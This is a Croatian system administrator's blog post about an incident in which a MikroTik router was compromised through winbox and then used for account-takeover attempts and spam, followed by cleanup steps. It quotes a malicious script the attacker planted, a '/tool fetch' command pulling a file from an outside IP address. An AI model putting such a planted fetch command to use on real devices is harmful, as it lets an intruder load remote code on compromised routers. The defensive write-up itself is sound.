Provala u Mikrotik router

CARNet Abuse služba mi rijetko piše, pa me prije neki dan iznenadila njihova poruka... A pisali su mi da je zaprimljena prijava pokušaja neovlaštenog pristupa sa jedne moje IP adrese. Iznenađenje je bilo još veće kad sam shvatio da se ta IP adresa odnosi na jedan Mikrotik router. Iza tog routera nalazi se oprema za video nadzor instituta u vlasništvu tvrtke koja je za to angažirana.

The following table of IP addresses, dates and times should help you correlate the origin of the abusive activity. The time stamps are approximate from our logs. The actual timing of the events depend on the signature matched. It is very likely to have occurred both before, during and following the times listed.

Approximate Time Range (UTC), IP Address, Reason
2018-07-30 13:32:00 ~ 2018-07-30 14:32:00 (UTC), 161.53.36.xxx, Account Takeover Attempts

It is most likely the attack traffic is directed at one of the following endpoints:

account.sonyentertainmentnetwork.com
auth.api.sonyentertainmentnetwork.com

These endpoints on our network are resolved by Geo DNS, so the IP addresses they resolve to will depend on the originating IP address.

The destination port will be TCP 443.

Prvo sam pomislio da problem stvara neki od uređaja spojenih na taj router, a onda sam pogledao stanje na samom routeru. I u logu našao ovo:

jul/28 01:18:41 system,error,critical login failure for user admin from 95.154.216.151 via winbox
jul/28 01:18:42 system,info,account user admin logged in from 95.154.216.151 via winbox
jul/28 01:18:42 system,info socks config changed by admin
jul/28 01:18:43 system,info new script added by admin
jul/28 01:18:43 system,info new script scheduled by admin
jul/28 01:18:43 system,info new script added by admin

Dakle, sve je jasno - neprijatelj je pristupio routeru, preko *winbox*-a, postavio i pokrenuo neku skriptu.... Bio je već kraj radnog vremena, pa sam rješavanje problema ostavio za

sutradan. Ujutro me dočekalo još nešto - hrpa spama na poslužitelju. Uvidom u log ustanovio sam da spam dolazi sa routera.

Pretraživanjem preko Googlea naišao sam na dosta informacija, ukratko problem je prisutan od veljače 2018. Mikrotik je problem popravio izdavanjem nove verzije operacijskog sustava.

https://www.securityweek.com/remotely-exploitable-vulnerability-discovered-mikrotiks-routeros [1]

Na mreži imam još jedan takav uređaj i na njemu nije bilo problema. Osim što na oba uređaja nisam godinu dana nadograđivao operacijski sustav i firmware. To je standardni problem - sve radi i zaboravi se na to da ponekad treba provjeriti ima li što novoga....

Trebalo je riješiti problem, da se Abuse služba ne ljuti...

Kao što vidimo, provala je izvršena preko *winbox* protokola. Kako sam ja ove routere konfigurirao dijelom preko web sučelja, a dijelom preko ssh protokola i naredbene linije onda mi je prvo pitanje bilo 'a što je sad ovo?'. Da, *Winbox* je mali program koji omogućava konfiguriranje routera. Kako to ne koristim odmah sam ga isključio.

Sljedeće je bilo nadogradnja operacijskog sustava i firmwarea. To se jednostavno napravi preko web sučelja - izbornik *System/Packages*, pa *Check for updates* (nadogradnja operacijskog sustava); izbornik *System/Routerboard* pa *Upgrade* (nadogradnja Firmwarea). Naravno, iza svake od ovih operacija slijedi ponovno pokretanje uređaja.

Time su spriječene nove provale u sustav, ali nije riješen problem jer je i dalje ostala skripta koju je neprijatelj ostavio. Ali i to je bilo lako naći preko web sučelja - izbornik *System/Scripts*. I našao sam ovo:

```
/tool fetch address=95.154.216.167 port=2008 src-path=/mikrotik.php mode=http keep-result=no
```

Nisam se uopće trudio proučiti što ovo radi, neko sam odmah obrisao i nadao se da je sve u redu....

Ali nije to bilo dovoljno, na grafovima mrežnog prometa (koje ovakvi routeri imaju) vidio

sam da se povremeno još ima nekog prometa koji nije očekivan. Najlakše za vidjeti što se dešava je kroz izbornik *IP/Firewall*, pa odabrati *Connections*. Tu se vidi trenutni promet, pa sam primjetio da se povremeno javlja dosta zahtjeva na port 53. Skenirao sam taj uređaj sa *nmap*-om i utvrdio da je port 53 (DNS) otvoren (na drugom istom uređaju nije). Čak je i odgovarao na DNS upite. Očito je da je i to nešto što je neprijatelj ostavio...

Trebalo je zabraniti pristup portu 53. Ovakve stvari je lakše podesiti preko naredbene linije, pa sam se spojio na uređaj i izvršio sljedeće:

```
/ip firewall filter

add action=drop chain=input connection-state=new dst-port=53 in-interface=ether1 protocol=udp

add action=drop chain=input connection-state=new dst-port=53 in-interface=ether1 protocol=tcp
```

Pa i *nmap* sad kaže ovako:

```
53/tcp filtered domain
```

I s ovim je problem riješen, bar za sada tako izgleda. Nema više sumnjivog prometa, u logu nema nikakvih zapisa o prijavama sa nepoznatih adresa, nema ni spama na serveru...

Poučak na kraju - **ne treba zaboravljati na ovakve uređaje** koji dobro rade, treba **i njih nadograđivati**, povremeno se spojiti na njih i **pogledati logove**.

uto, 2018-08-07 11:16 - Damir Mrkonjić**Vijesti:** Sigurnost [2]
Kategorije: Mrežna sigurnost [3]
Vote: 0

No votes yet

story_tag: informacijska sigurnost [4]

Source URL: https://sysportal.carnet.hr/node/1818

Links

[1] https://www.securityweek.com/remotely-exploitable-vulnerability-discovered-mikrotiks-routeros
[2] https://sysportal.carnet.hr/taxonomy/term/13
[3] https://sysportal.carnet.hr/taxonomy/term/33
[4] https://sysportal.carnet.hr/taxonomy/term/101